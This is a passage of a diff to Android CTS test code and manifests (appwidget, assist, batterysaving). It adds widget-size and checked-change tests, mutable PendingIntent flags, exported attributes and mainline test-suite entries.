 import static org.junit.Assert.assertEquals;
 import static org.junit.Assume.assumeTrue;
 
@@ -91,6 +93,22 @@
                         android.appwidget.cts.R.dimen.first_min_resize_appwidget_size), provider.minResizeWidth);
                 assertEquals(getNormalizedDimensionResource(
                         android.appwidget.cts.R.dimen.first_min_resize_appwidget_size), provider.minResizeHeight);
+                assertThat(
+                        getNormalizedDimensionResource(
+                                android.appwidget.cts.R.dimen.first_max_resize_appwidget_size))
+                        .isEqualTo(provider.maxResizeWidth);
+                assertThat(
+                        getNormalizedDimensionResource(
+                                android.appwidget.cts.R.dimen.first_max_resize_appwidget_size))
+                        .isEqualTo(provider.maxResizeHeight);
+                assertThat(
+                        getIntResource(
+                                android.appwidget.cts.R.integer.first_target_cell_appwidget_size))
+                        .isEqualTo(provider.targetCellWidth);
+                assertThat(
+                        getIntResource(
+                                android.appwidget.cts.R.integer.first_target_cell_appwidget_size))
+                        .isEqualTo(provider.targetCellHeight);
                 assertEquals(getIntResource(android.appwidget.cts.R.integer.first_update_period_millis),
                         provider.updatePeriodMillis);
                 assertEquals(getInstrumentation().getTargetContext().getPackageName(),
@@ -109,6 +127,10 @@
                         provider.previewImage);
                 assertEquals(android.appwidget.cts.R.id.first_auto_advance_view_id,
                         provider.autoAdvanceViewId);
+                assertEquals(android.appwidget.cts.R.string.widget_description,
+                        provider.descriptionResource);
+                assertEquals(android.appwidget.cts.R.layout.preview_layout,
+                        provider.previewLayout);
                 firstProviderVerified = true;
             } else if (secondComponentName.equals(provider.provider)
                     && android.os.Process.myUserHandle().equals(provider.getProfile())) {
@@ -120,6 +142,22 @@
                         android.appwidget.cts.R.dimen.second_min_resize_appwidget_size), provider.minResizeWidth);
                 assertEquals(getNormalizedDimensionResource(
                         android.appwidget.cts.R.dimen.second_min_resize_appwidget_size), provider.minResizeHeight);
+                assertThat(
+                        getNormalizedDimensionResource(
+                                android.appwidget.cts.R.dimen.second_max_resize_appwidget_size))
+                        .isEqualTo(provider.maxResizeWidth);
+                assertThat(
+                        getNormalizedDimensionResource(
+                                android.appwidget.cts.R.dimen.second_max_resize_appwidget_size))
+                        .isEqualTo(provider.maxResizeHeight);
+                assertThat(
+                        getIntResource(
+                                android.appwidget.cts.R.integer.second_target_cell_appwidget_size))
+                        .isEqualTo(provider.targetCellWidth);
+                assertThat(
+                        getIntResource(
+                                android.appwidget.cts.R.integer.second_target_cell_appwidget_size))
+                        .isEqualTo(provider.targetCellHeight);
                 assertEquals(getIntResource(android.appwidget.cts.R.integer.second_update_period_millis),
                         provider.updatePeriodMillis);
                 assertEquals(getInstrumentation().getTargetContext().getPackageName(),
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java
index 2bc4e47..925fa69 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java
@@ -19,6 +19,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 import static org.mockito.ArgumentMatchers.any;
@@ -40,7 +41,9 @@
 import android.os.Bundle;
 import android.platform.test.annotations.AppModeFull;
 import android.view.View;
+import android.view.ViewGroup;
 import android.widget.AbsListView;
+import android.widget.CompoundButton;
 import android.widget.ListView;
 import android.widget.RemoteViews;
 import android.widget.RemoteViewsService;
@@ -64,6 +67,7 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.function.Predicate;
 
 /**
  * Test AppWidgets which host collection widgets.
@@ -164,7 +168,9 @@
                 extras.putString(BlockingBroadcastReceiver.KEY_PARAM, COUNTRY_LIST[position]);
                 Intent fillInIntent = new Intent();
                 fillInIntent.putExtras(extras);
-                remoteViews.setOnClickFillInIntent(R.id.item, fillInIntent);
+                remoteViews.setOnClickFillInIntent(R.id.root, fillInIntent);
+                remoteViews.setOnCheckedChangeResponse(
+                        R.id.toggle, RemoteViews.RemoteResponse.fromFillInIntent(fillInIntent));
 
                 if (position == 0) {
                     factoryCountDownLatch.countDown();
@@ -339,6 +345,82 @@
         verifyItemClickIntents(3);
     }
 
+    /**
+     * Verifies that setting the item at {@code index} to {@code newChecked} sends a broadcast with
+     * the proper country and checked extras filled in.
+     *
+     * @param index the index to test
+     * @param newChecked the new checked state, which must be different from the current value
+     */
+    private void verifyItemCheckedChangeIntents(int index, boolean newChecked) throws Throwable {
+        BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver();
+        mActivityRule.runOnUiThread(() -> receiver.register(BROADCAST_ACTION));
+
+        mStackView = (StackView) mAppWidgetHostView.findViewById(R.id.remoteViews_stack);
+        PollingCheck.waitFor(() -> mStackView.getCurrentView() != null);
+
+        mActivityRule.runOnUiThread(
+                () -> {
+                    ViewGroup currentView = (ViewGroup) mStackView.getCurrentView();
+                    CompoundButton toggle =
+                            findFirstMatchingView(currentView, v -> v instanceof CompoundButton);
+                    if (newChecked) {
+                        assertFalse(toggle.isChecked());
+                    } else {
+                        assertTrue(toggle.isChecked());
+                    }
+                    toggle.setChecked(newChecked);
+                });
+        assertEquals(COUNTRY_LIST[index],
+                receiver.getParam(TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        if (newChecked) {
+            assertTrue(receiver.result.getBooleanExtra(RemoteViews.EXTRA_CHECKED, false));
+        } else {
+            assertFalse(receiver.result.getBooleanExtra(RemoteViews.EXTRA_CHECKED, true));
+        }
+    }
+
+    @Test
+    public void testSetOnCheckedChangePendingIntent() throws Throwable {
+        if (!mHasAppWidgets) {
+            return;
+        }
+
+        // Toggle the view twice to get the true and false broadcasts.
+        verifyItemCheckedChangeIntents(0, true);
+        verifyItemCheckedChangeIntents(0, false);
+        verifyItemCheckedChangeIntents(0, true);
+
+        // Switch to another child
+        verifySetDisplayedChild(2);
+        verifyItemCheckedChangeIntents(2, true);
+
+        // And one more
+        verifyShowCommand(CollectionAppWidgetProvider.KEY_SHOW_NEXT, 3);
+        verifyItemCheckedChangeIntents(3, true);
+    }
+
+    // Casting type for convenience. Test will fail either way if it's wrong.
+    @SuppressWarnings("unchecked")
+    private static <T extends View> T findFirstMatchingView(View view, Predicate<View> predicate) {
+        if (predicate.test(view)) {
+            return (T) view;
+        }
+        if ((!(view instanceof ViewGroup))) {
+            return null;
+        }
+
+        ViewGroup viewGroup = (ViewGroup) view;
+        for (int i = 0; i < viewGroup.getChildCount(); i++) {
+            View result = findFirstMatchingView(viewGroup.getChildAt(i), predicate);
+            if (result != null) {
+                return (T) result;
+            }
+        }
+
+        return null;
+    }
+
     private class ListScrollListener implements AbsListView.OnScrollListener {
         private CountDownLatch mLatchToNotify;
 
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
index f255454..97df491 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
@@ -70,7 +70,7 @@
         extras.putString("dummy", launcherPkg + "-dummy");
 
         PendingIntent pinResult = PendingIntent.getBroadcast(context, 0,
-                new Intent(ACTION_PIN_RESULT), PendingIntent.FLAG_ONE_SHOT);
+                new Intent(ACTION_PIN_RESULT), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         AppWidgetManager.getInstance(context).requestPinAppWidget(
                 getFirstWidgetComponent(), extras, pinResult);
 
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java b/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java
index a01241f..4cf3f8f 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java
@@ -143,7 +143,7 @@
         // Push update
         RemoteViews views = getViewsForResponse(RemoteViews.RemoteResponse.fromPendingIntent(
                 PendingIntent.getBroadcast(mActivity, 0,
-                        new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT)));
+                        new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED)));
         getAppWidgetManager().updateAppWidget(new int[] {mAppWidgetId}, views);
 
         // Await until update
@@ -165,7 +165,7 @@
         RemoteViews views = getViewsForResponse(RemoteViews.RemoteResponse.fromPendingIntent(
                 PendingIntent.getActivity(mActivity, 0,
                         new Intent(mActivity, TransitionActivity.class),
-                        PendingIntent.FLAG_UPDATE_CURRENT)));
+                        PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED)));
         getAppWidgetManager().updateAppWidget(new int[] {mAppWidgetId}, views);
 
         // Await until update
@@ -229,7 +229,7 @@
         views.setViewVisibility(R.id.remoteViews_stack, View.GONE);
         views.setViewVisibility(R.id.remoteViews_list, View.VISIBLE);
         PendingIntent pendingIntent = PendingIntent.getBroadcast(mActivity, 0,
-                new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT);
+                new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         views.setPendingIntentTemplate(R.id.remoteViews_list, pendingIntent);
 
         // Await until update
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java b/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
index b1b21b7..f0c6e5a 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
@@ -107,7 +107,7 @@
         // to create unique before on an item to item basis.
         Intent viewIntent = new Intent(BROADCAST_ACTION);
         PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, viewIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         widgetAdapterView.setPendingIntentTemplate(R.id.remoteViews_stack, pendingIntent);
 
diff --git a/tests/tests/assist/Android.bp b/tests/tests/assist/Android.bp
index ba74a85..0f2e412 100644
--- a/tests/tests/assist/Android.bp
+++ b/tests/tests/assist/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAssistTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/assist/AndroidManifest.xml b/tests/tests/assist/AndroidManifest.xml
index feff7c4..2d68e1a 100644
--- a/tests/tests/assist/AndroidManifest.xml
+++ b/tests/tests/assist/AndroidManifest.xml
@@ -16,40 +16,40 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.assist.cts">
+     package="android.assist.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION" />
-    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
 
     <application>
-      <uses-library android:name="android.test.runner" />
+      <uses-library android:name="android.test.runner"/>
       <!-- resizeableActivity makes the TestStartActivity run on Primary display to accommodate
-           stack behavior assumptions in this test. See b/70032125 -->
+                     stack behavior assumptions in this test. See b/70032125 -->
       <activity android:name="android.assist.cts.TestStartActivity"
-                android:label="Assist Test Start Activity"
-                android:resizeableActivity="false">
+           android:label="Assist Test Start Activity"
+           android:resizeableActivity="false"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.intent.action.TEST_START_ACTIVITY_ASSIST_STRUCTURE" />
-              <action android:name="android.intent.action.TEST_START_ACTIVITY_DISABLE_CONTEXT" />
-              <action android:name="android.intent.action.TEST_START_ACTIVITY_FLAG_SECURE" />
-              <action android:name="android.intent.action.TEST_START_ACTIVITY_LIFECYCLE" />
-              <action android:name="android.intent.action.TEST_START_ACTIVITY_SCREENSHOT" />
-              <action android:name="android.intent.action.TEST_START_ACTIVITY_EXTRA_ASSIST" />
-              <action android:name="android.intent.action.TEST_START_ACTIVITY_TEXTVIEW" />
-              <action android:name="android.intent.action.TEST_START_ACTIVITY_LARGE_VIEW_HIERARCHY" />
-              <action android:name="android.intent.action.TEST_START_ACTIVITY_WEBVIEW" />
-              <category android:name="android.intent.category.LAUNCHER" />
-              <category android:name="android.intent.category.DEFAULT" />
+              <action android:name="android.intent.action.TEST_START_ACTIVITY_ASSIST_STRUCTURE"/>
+              <action android:name="android.intent.action.TEST_START_ACTIVITY_DISABLE_CONTEXT"/>
+              <action android:name="android.intent.action.TEST_START_ACTIVITY_FLAG_SECURE"/>
+              <action android:name="android.intent.action.TEST_START_ACTIVITY_LIFECYCLE"/>
+              <action android:name="android.intent.action.TEST_START_ACTIVITY_SCREENSHOT"/>
+              <action android:name="android.intent.action.TEST_START_ACTIVITY_EXTRA_ASSIST"/>
+              <action android:name="android.intent.action.TEST_START_ACTIVITY_TEXTVIEW"/>
+              <action android:name="android.intent.action.TEST_START_ACTIVITY_LARGE_VIEW_HIERARCHY"/>
+              <action android:name="android.intent.action.TEST_START_ACTIVITY_WEBVIEW"/>
+              <category android:name="android.intent.category.LAUNCHER"/>
+              <category android:name="android.intent.category.DEFAULT"/>
           </intent-filter>
       </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.assist.cts"
-                     android:label="CTS tests of android.assist">
+         android:targetPackage="android.assist.cts"
+         android:label="CTS tests of android.assist">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/assist/common/Android.bp b/tests/tests/assist/common/Android.bp
index b82668d..35bfbb1 100644
--- a/tests/tests/assist/common/Android.bp
+++ b/tests/tests/assist/common/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "CtsAssistCommon",
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/assist/service/Android.bp b/tests/tests/assist/service/Android.bp
index c21a601..20beec5 100644
--- a/tests/tests/assist/service/Android.bp
+++ b/tests/tests/assist/service/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAssistService",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/assist/service/AndroidManifest.xml b/tests/tests/assist/service/AndroidManifest.xml
index 05da5fd..e116a1c 100644
--- a/tests/tests/assist/service/AndroidManifest.xml
+++ b/tests/tests/assist/service/AndroidManifest.xml
@@ -16,62 +16,64 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.assist.service">
+     package="android.assist.service">
 
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 
     <application>
-      <uses-library android:name="android.test.runner" />
+      <uses-library android:name="android.test.runner"/>
       <service android:name=".MainInteractionService"
-               android:label="CTS test voice interaction service"
-               android:permission="android.permission.BIND_VOICE_INTERACTION"
-               android:process=":interactor"
-               android:exported="true"
-               android:visibleToInstantApps="true">
+           android:label="CTS test voice interaction service"
+           android:permission="android.permission.BIND_VOICE_INTERACTION"
+           android:process=":interactor"
+           android:exported="true"
+           android:visibleToInstantApps="true">
           <meta-data android:name="android.voice_interaction"
-                     android:resource="@xml/interaction_service" />
+               android:resource="@xml/interaction_service"/>
           <intent-filter>
-              <action android:name="android.service.voice.VoiceInteractionService" />
+              <action android:name="android.service.voice.VoiceInteractionService"/>
           </intent-filter>
       </service>
       <activity android:name=".DisableContextActivity"
-                android:visibleToInstantApps="true">
+           android:visibleToInstantApps="true"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.intent.action.START_TEST_DISABLE_CONTEXT" />
-              <category android:name="android.intent.category.DEFAULT" />
+              <action android:name="android.intent.action.START_TEST_DISABLE_CONTEXT"/>
+              <category android:name="android.intent.category.DEFAULT"/>
           </intent-filter>
       </activity>
       <activity android:name=".DelayedAssistantActivity"
-                android:label="Delay Assistant Start Activity"
-                android:exported="true"
-                android:visibleToInstantApps="true">
+           android:label="Delay Assistant Start Activity"
+           android:exported="true"
+           android:visibleToInstantApps="true">
           <intent-filter>
-              <action android:name="android.intent.action.START_TEST_ASSIST_STRUCTURE" />
-              <action android:name="android.intent.action.START_TEST_LIFECYCLE" />
-              <action android:name="android.intent.action.START_TEST_LIFECYCLE_NOUI" />
-              <action android:name="android.intent.action.START_TEST_FLAG_SECURE" />
-              <action android:name="android.intent.action.START_TEST_SCREENSHOT" />
-              <action android:name="android.intent.action.START_TEST_EXTRA_ASSIST" />
-              <action android:name="android.intent.action.START_TEST_TEXTVIEW" />
-              <action android:name="android.intent.action.START_TEST_LARGE_VIEW_HIERARCHY" />
-              <action android:name="android.intent.action.START_TEST_VERIFY_CONTENT_VIEW" />
-              <action android:name="android.intent.action.START_TEST_FOCUS_CHANGE" />
-              <action android:name="android.intent.action.START_TEST_WEBVIEW" />
-              <category android:name="android.intent.category.DEFAULT" />
+              <action android:name="android.intent.action.START_TEST_ASSIST_STRUCTURE"/>
+              <action android:name="android.intent.action.START_TEST_LIFECYCLE"/>
+              <action android:name="android.intent.action.START_TEST_LIFECYCLE_NOUI"/>
+              <action android:name="android.intent.action.START_TEST_FLAG_SECURE"/>
+              <action android:name="android.intent.action.START_TEST_SCREENSHOT"/>
+              <action android:name="android.intent.action.START_TEST_EXTRA_ASSIST"/>
+              <action android:name="android.intent.action.START_TEST_TEXTVIEW"/>
+              <action android:name="android.intent.action.START_TEST_LARGE_VIEW_HIERARCHY"/>
+              <action android:name="android.intent.action.START_TEST_VERIFY_CONTENT_VIEW"/>
+              <action android:name="android.intent.action.START_TEST_FOCUS_CHANGE"/>
+              <action android:name="android.intent.action.START_TEST_WEBVIEW"/>
+              <category android:name="android.intent.category.DEFAULT"/>
           </intent-filter>
       </activity>
       <service android:name=".MainInteractionSessionService"
-              android:permission="android.permission.BIND_VOICE_INTERACTION"
-              android:process=":session">
+           android:permission="android.permission.BIND_VOICE_INTERACTION"
+           android:process=":session">
       </service>
       <service android:name=".MainRecognitionService"
-              android:label="CTS Voice Recognition Service">
+           android:label="CTS Voice Recognition Service"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.speech.RecognitionService" />
-              <category android:name="android.intent.category.DEFAULT" />
+              <action android:name="android.speech.RecognitionService"/>
+              <category android:name="android.intent.category.DEFAULT"/>
           </intent-filter>
-          <meta-data android:name="android.speech" android:resource="@xml/recognition_service" />
+          <meta-data android:name="android.speech"
+               android:resource="@xml/recognition_service"/>
       </service>
     </application>
 </manifest>
-
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index dde77a8..ad8815f 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -107,6 +107,10 @@
         if ((showFlags & SHOW_WITH_ASSIST) == 0) {
             return;
         }
+        if (args == null) {
+            Log.e(TAG, "onshow() received null args");
+            return;
+        }
         mTestName = args.getString(Utils.TESTCASE_TYPE, "");
         mCurColor = args.getInt(Utils.SCREENSHOT_COLOR_KEY);
         mDisplayHeight = args.getInt(Utils.DISPLAY_HEIGHT_KEY);
diff --git a/tests/tests/assist/testapp/Android.bp b/tests/tests/assist/testapp/Android.bp
index 07bab73..8ba03b7 100644
--- a/tests/tests/assist/testapp/Android.bp
+++ b/tests/tests/assist/testapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAssistApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/assist/testapp/AndroidManifest.xml b/tests/tests/assist/testapp/AndroidManifest.xml
index 513d27a..a2dcd7a 100644
--- a/tests/tests/assist/testapp/AndroidManifest.xml
+++ b/tests/tests/assist/testapp/AndroidManifest.xml
@@ -16,79 +16,87 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.assist.testapp">
+     package="android.assist.testapp">
 
-    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.INTERNET"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name=".TestApp"
-                android:label="Assist Structure Test Activity">
+             android:label="Assist Structure Test Activity"
+             android:exported="true">
           <intent-filter>
-              <action android:name="android.intent.action.TEST_APP_ASSIST_STRUCTURE" />
-              <action android:name="android.intent.action.TEST_APP_LARGE_VIEW_HIERARCHY" />
-              <category android:name="android.intent.category.DEFAULT" />
-              <category android:name="android.intent.category.VOICE" />
+              <action android:name="android.intent.action.TEST_APP_ASSIST_STRUCTURE"/>
+              <action android:name="android.intent.action.TEST_APP_LARGE_VIEW_HIERARCHY"/>
+              <category android:name="android.intent.category.DEFAULT"/>
+              <category android:name="android.intent.category.VOICE"/>
           </intent-filter>
         </activity>
         <activity android:name=".SecureActivity"
-                  android:label="Secure Test Activity">
+             android:label="Secure Test Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.TEST_APP_FLAG_SECURE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.VOICE" />
+                <action android:name="android.intent.action.TEST_APP_FLAG_SECURE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.VOICE"/>
             </intent-filter>
         </activity>
         <activity android:name=".LifecycleActivity"
-                  android:label="Life Cycle Check Activity">
+             android:label="Life Cycle Check Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.TEST_APP_LIFECYCLE" />
-                <action android:name="android.intent.action.TEST_APP_LIFECYCLE_NOUI" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.VOICE" />
+                <action android:name="android.intent.action.TEST_APP_LIFECYCLE"/>
+                <action android:name="android.intent.action.TEST_APP_LIFECYCLE_NOUI"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.VOICE"/>
             </intent-filter>
         </activity>
         <!-- resizeableActivity makes the ScreenshotActivity run on Primary display to accommodate
-             assumptions about screenshot display vs TestStartActivity display in this test.
-             See b/70032125 -->
+                         assumptions about screenshot display vs TestStartActivity display in this test.
+                         See b/70032125 -->
         <activity android:name=".ScreenshotActivity"
-                  android:label="Screenshot Test Activity"
-                  android:resizeableActivity="false">
+             android:label="Screenshot Test Activity"
+             android:resizeableActivity="false"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.TEST_APP_SCREENSHOT" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.VOICE" />
+                <action android:name="android.intent.action.TEST_APP_SCREENSHOT"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.VOICE"/>
             </intent-filter>
         </activity>
         <activity android:name=".ExtraAssistDataActivity"
-            android:label="Extra Assist Test Activity">
+             android:label="Extra Assist Test Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.TEST_APP_EXTRA_ASSIST" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.VOICE" />
+                <action android:name="android.intent.action.TEST_APP_EXTRA_ASSIST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.VOICE"/>
             </intent-filter>
         </activity>
         <activity android:name=".TextViewActivity"
-            android:label="TextView Test Activity">
+             android:label="TextView Test Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.TEST_APP_TEXTVIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.TEST_APP_TEXTVIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
         <activity android:name=".WebViewActivity"
-            android:label="WebView Test Activity">
+             android:label="WebView Test Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.TEST_APP_WEBVIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.TEST_APP_WEBVIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
         <activity android:name=".FocusChangeActivity"
-            android:label="Focus Change Test Activity">
+             android:label="Focus Change Test Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.TEST_APP_FOCUS_CHANGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.VOICE" />
+                <action android:name="android.intent.action.TEST_APP_FOCUS_CHANGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.VOICE"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/tests/background/Android.bp b/tests/tests/background/Android.bp
index ad0efa0..5dc54e5 100644
--- a/tests/tests/background/Android.bp
+++ b/tests/tests/background/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsBackgroundRestrictionsTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/batterysaving/Android.bp b/tests/tests/batterysaving/Android.bp
index 24917fd..28cd890 100644
--- a/tests/tests/batterysaving/Android.bp
+++ b/tests/tests/batterysaving/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsBatterySavingTestCases",
     defaults: ["cts_defaults"],
@@ -38,6 +34,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "test_current",
 }
diff --git a/tests/tests/batterysaving/AndroidTest.xml b/tests/tests/batterysaving/AndroidTest.xml
index 5f32612..ad98752 100644
--- a/tests/tests/batterysaving/AndroidTest.xml
+++ b/tests/tests/batterysaving/AndroidTest.xml
@@ -47,4 +47,9 @@
         <option name="package" value="android.os.cts.batterysaving" />
         <option name="runtime-hint" value="10m00s" />
     </test>
+
+    <object type="module_controller"
+            class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="android.scheduling"/>
+    </object>
 </configuration>
diff --git a/tests/tests/batterysaving/apps/app_target_api_25/Android.bp b/tests/tests/batterysaving/apps/app_target_api_25/Android.bp
index 0ec062b..754b28c 100644
--- a/tests/tests/batterysaving/apps/app_target_api_25/Android.bp
+++ b/tests/tests/batterysaving/apps/app_target_api_25/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsBatterySavingAppTargetApi25",
     defaults: ["cts_defaults"],
@@ -26,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/Android.bp b/tests/tests/batterysaving/apps/app_target_api_current/Android.bp
index a1b90c2..f5d5543 100644
--- a/tests/tests/batterysaving/apps/app_target_api_current/Android.bp
+++ b/tests/tests/batterysaving/apps/app_target_api_current/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsBatterySavingAppTargetApiCurrent",
     defaults: ["cts_defaults"],
@@ -25,6 +21,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
 
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java b/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
index eab84ad..d5c2ff9 100644
--- a/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
+++ b/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
@@ -98,7 +98,7 @@
             final boolean allowWhileIdle = req.getAllowWhileIdle();
 
             final PendingIntent alarmSender = PendingIntent.getBroadcast(context, 1,
-                    new Intent(req.getIntentAction()), 0);
+                    new Intent(req.getIntentAction()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             Log.d(TAG, "Setting alarm: type=" + type + ", triggerTime=" + triggerTime
                     + ", interval=" + interval + ", allowWhileIdle=" + allowWhileIdle);
diff --git a/tests/tests/batterysaving/common/Android.bp b/tests/tests/batterysaving/common/Android.bp
index ac80927..40ff9bd 100644
--- a/tests/tests/batterysaving/common/Android.bp
+++ b/tests/tests/batterysaving/common/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
